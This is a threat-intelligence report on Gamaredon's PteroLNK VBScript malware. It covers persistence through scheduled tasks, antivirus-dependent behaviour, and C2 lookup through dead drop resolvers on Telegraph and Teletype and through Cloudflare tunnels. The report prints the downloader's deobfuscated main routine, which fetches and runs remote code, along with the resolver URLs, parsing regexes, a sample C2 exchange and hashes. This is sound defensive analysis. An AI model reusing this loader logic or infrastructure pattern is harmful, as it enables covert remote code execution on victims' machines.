Inside Gamaredon's PteroLNK: Dead Drop Resolvers and evasive Infrastructure Published: 2025-04-16 · Archived: 2026-04-05 13:29:40 UTC Home » Inside the Lab » Inside Gamaredon’s PteroLNK: Dead Drop Resolvers and evasive Infrastructure Published on 16 April, 2025 18min Identifier: TRR250401. https://harfanglab.io/insidethelab/gamaredons-pterolnk-analysis/ Page 1 of 13 Proactively hunting for Russian-nexus threats, we identified samples from the Pterodo malware family, commonly associated with Gamaredon, uploaded to a public malware analysis platform between late 2024 and mid-March 2025. Notably, related Gamaredon Dead Drop Resolvers (DDR) are still being updated daily, indicating active operations. The Pterodo malware ecosystem has been previously documented by ESET in 2024, covering the years 2022- 2023. Broader coverage of Gamaredon is inversely proportional to the group’s proliferation and impact. Existing publications on Gamaredon often focus on samples that are not publicly available, which limits the ability of the security community to conduct further analysis and research. Importantly, we found no publicly available analysis of the specific malware samples discussed in this report. This report provides a detailed technical analysis of Gamaredon’s PteroLNK VBScript malware and its supporting infrastructure. Victimology insights are derived from gathered samples’ contents and the limited context they provide. PteroLNK PteroLNK VBScript files are heavily obfuscated, a hallmark of Gamaredon’s techniques. The main script dynamically constructs two additional VBScript payloads during execution: a downloader and an LNK dropper. The malware structure remains consistent with past samples analyzed by ESET in 2023-2024. The scripts are designed to allow flexibility for their operators, enabling easy modification of parameters such as file names and paths, persistence mechanisms (registry keys and scheduled tasks), and detection logic for security solutions on the target system. The primary PteroLNK VBScript (MD5 98CF1A959F11AF59BD5AC2C2D746541F ) is tasked with deploying the two base64-encoded payloads, establishing persistence through scheduled tasks, and concealing its activities by modifying Windows Explorer settings to hide files. Upon execution, it drops a copy of itself to: %PUBLIC%NTUSER.DAT.TMContainer %APPDATA%~.drv And deploys the two script payloads to: %PUBLIC%NTUSER.DAT.TMContainer00000000000000000001.regtrans-ms – Downloader (MD5 A38399ECB70B504573CE708C7A26C306 ) %PUBLIC%NTUSER.DAT.TMContainer00000000000000000002.regtrans-ms – LNK Dropper (MD5 09958DEBBD3336D374892D92C8939D75 ) The downloader payload is scheduled to execute every 3 minutes, while the LNK dropper script runs every 9 minutes. The malware also incorporates conditional execution logic to adapt its behaviour on the presence of the “360 Total Security” antivirus on the host system. If this antivirus is detected, the execution of both payload and their persistence mechanisms are shifted from scheduled tasks to an infinite loop. In this scenario, no actions are taken to conceal files either. Downloader https://harfanglab.io/insidethelab/gamaredons-pterolnk-analysis/ Page 2 of 13 This payload serves as a downloader which is designed to retrieve and deploy additional malware. It employs a modular, multi-stage structure to establish and maintain communication with its C2 infrastructure. Each stage is triggered by an increasing error counter, enabling the malware to pivot between fallback mechanisms. The Windows registry is leveraged to persistently store and retrieve the C2 addresses across execution cycles. Here is an example of a Downloader (MD5 A38399ECB70B504573CE708C7A26C306 ) main function code, deobfuscated for readability: On Error Resume Next Dim userAgent, response, executionResult, url, errorCounter, computerName, serialNumber, extractedText, regexPat errorCounter = 0 DDR = "hxxps://telegra[.]ph/Vizit-12-28" regexPattern = "\<\/address\>\(.*?)\<\/p\>\<\/article\>" C2RegKey = ReadRegistry("WindowsUpdates") C2BackupRegKey = ReadRegistry("WindowsResponby") If (Len(C2RegKey) > 10) Then url = C2RegKey End If If (Len(C2RegKey) < 21) Then url = C2BackupRegKey If (Len(C2BackupRegKey) < 21) Then errorCounter = errorCounter + 1 End If End If Sleep 1439 userAgent = CreateUserAgent("Join") Sleep 1848 executionResult = ProcessPayload(userAgent) Do Until executionResult = "" Sleep 1848 ExecuteGlobal(executionResult) Sleep 21493 executionResult = ProcessPayload(userAgent) Loop Upon execution, the script attempts to read existing C2 addresses from previous runs stored in the HKEY_CURRENT_USERConsoleWindowsUpdates (primary C2) and HKEY_CURRENT_USERConsoleWindowsResponby (backup C2) registry keys. It then generates a custom HTTP “User-Agent” string containing the computer name and system drive serial number, uniquely identifying the infected machine to the C2 server. This string is spliced randomly between two predefined User-Agent templates embedded within the malware. https://harfanglab.io/insidethelab/gamaredons-pterolnk-analysis/ Page 3 of 13 Generated User-Agent example: User-Agent: Mozilla/5.0 (Windows N ::USER-PC_11223344::/.nJoin/.T 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, l The script begins by checking for internet connectivity via a benign website. Any HTTP status code other than 404 (Not Found) or 200 (OK) increments the global error counter. As this counter increases, additional requests will be generated for each execution iteration. If a C2 address is already stored in the backup C2 registry key from previous executions, the script sends a simple request to an Ukrainian streaming service: sweet.tv . Otherwise, the first request will be sent to the Ukrainian news site ukr.net , alongside a request to the hardcoded dead drop resolver (DDR) at hxxps://telegra[.]ph/Vizit-12-28 . The DDR response is parsed using a hardcoded regex pattern to extract an updated C2 address: Next, the script sends another HTTP GET request to the extracted C2 tunnel address, which is hosted on trycloudflare.com , using its custom User-Agent. If the tunnel responds with a 404 status code, it extracts an updated C2 from the response. It saves the domain portion in the WindowsResponby (backup C2) registry key and the URI portion in the WindowsDetect (C2 URI) registry key. If any errors were encountered during execution, a copy of the C2 domain is saved under the registry key WindowsUpdates (primary C2) as well. https://harfanglab.io/insidethelab/gamaredons-pterolnk-analysis/ Page 4 of 13 GET /comp/ HTTP/1.1 Accept: */* Accept-Language: uk-UA User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ::USER-PC_11223344:: UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: des-cinema-democrat-san.trycloudflare[.]com Connection: Keep-Alive HTTP/1.1 404 Not Found Date: Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: CF-Cache-Status: DYNAMIC Vary: Accept-Encoding Server: cloudflare Content-Encoding: gzip hxxps://sign-nothing-fitted-intelligence.trycloudflare[.]com/@din3/VByOMkbbyIt? If the error counter increases further, the script attempts to reach bbc.com while querying another DDR hosted on teletype.in . The DDR address is dynamically constructed from the URI extracted from the previous C2 tunnel response (see above @din3/VByOMkbbyIt... ) and saved in the C2 URI registry key ( WindowsDetec ). The resulting DDR in our example looks like: hxxps://teletype[.]in/@din3/VByOMkbbyIt?... . From this new DDR, another C2 address is fetched using Internet Explorer and parsed with a new regex pattern: \<\!--\[--\>\<\!--\]--\>\<\!--\[--\>(.*?)\<\!--\]--\>\<\/p\>\<\!--\]--\>\<\/article\>\<\!----\> The extracted address is prepended with https:// and saved in the primary C2 registry key.

kisa